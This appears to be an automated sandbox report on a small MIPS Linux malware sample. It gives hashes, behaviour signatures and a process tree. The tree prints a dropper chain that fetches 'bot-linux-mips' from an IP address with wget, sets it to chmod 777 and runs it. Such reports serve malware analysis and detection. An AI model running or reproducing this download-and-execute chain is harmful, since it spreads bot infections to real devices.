Analysis

  • max time kernel
    32s
  • max time network
    26s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    29/10/2026, 22:22

General

  • Target
    de02c9eeae1c6e53e582de40a40cd9f1
  • Size 577B
  • Sample261029-2ajbqsttft
  • SHA256 7e9b5454e72923f97e7ba34e5b5bba0a7eae2414382e62a17f52e647bf04944c
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/de02c9eeae1c6e53e582de40a40cd9f1
    /tmp/de02c9eeae1c6e53e582de40a40cd9f1
    1⤵
    • Executes dropped EXE
    PID:714
    • /bin/uname
      uname -m
      2⤵
        PID:716
      • /bin/rm
        rm -f .nyx
        2⤵
          PID:718
        • /usr/bin/wget
          wget http://85.215.73.250/bot-linux-mips -O .nyx
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:721
        • /bin/chmod
          chmod 777 .nyx
          2⤵
          • File and Directory Permissions Modification
          PID:818
        • /bin/rm
          rm -f .nyx
          2⤵
            PID:820
          • /tmp/.nyx
            ./.nyx
            2⤵
            • Enumerates kernel/hardware configuration
            • Reads runtime system information
            PID:819

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              .nyx

              • Path /tmp/.nyx
              • Size 1.8MB
              • SHA256 a4c02aebb5ad887e1cac41a51d95e5e6c26a0e6ed432b5acbd4c861b9200196d
              • MD5 SHA1 SHA512 SSDEEP TLSH